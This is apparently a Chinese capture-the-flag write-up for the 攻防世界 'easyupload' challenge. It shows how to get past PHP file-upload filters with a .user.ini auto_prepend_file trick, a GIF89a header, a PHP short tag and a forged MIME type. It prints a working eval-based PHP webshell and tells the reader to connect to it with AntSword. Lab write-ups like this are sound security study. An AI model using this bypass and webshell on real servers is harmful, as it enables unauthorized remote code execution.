文件上传之.user.ini (easyupload 攻防世界)
2022_11_13
一、知识点
需要绕过的点:
-
检查文件内容是否有php字符串
-
检查后缀中是否有htaccess或ph
-
检查文件头部信息
-
文件MIME类型
使用 .user.ini
二、大致解题思路
题目网址: 攻防世界
绕过第一点:利用短标签绕过,例如
绕过第二点:上传 .user.ini 配置文件
绕过第三点:再文件最前方加上 “GIF89a”
绕过第四点:抓包,修改MIME类型
其中:
.user.ini 配置文件内容
GIF89a
auto_prepend_file=a.jpg
上传的webshell
GIF89a
<?=eval($_POST['cmd']);?>
注意:因为运用了.user.ini配置文件,auto_prepend_file 表示在加载第一个PHP代码之前先行预加载该配置所指示的PHP文件。所以用蚁剑连接的不应该是图片地址,而是上传文件时所指向的网站地址,即 http://ip/uploads/index.php。
三、关键知识点
.user.ini 配置文件的运用
auto_prepend_file 表示在加载第一个PHP代码之前先行预加载该配置所指示的PHP文件。
就像是文件包含
局限性:如果目录中没有php文件将无法达到效果。不过也可以使用 ../ 来将文件上传到上一级,来达到想要的效果。
四、参考文章
wp: https://blog.csdn.net/m0_63127854/article/details/126633686
.user.ini 运用讲解: https://blog.csdn.net/cosmoslin/article/details/120793126
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通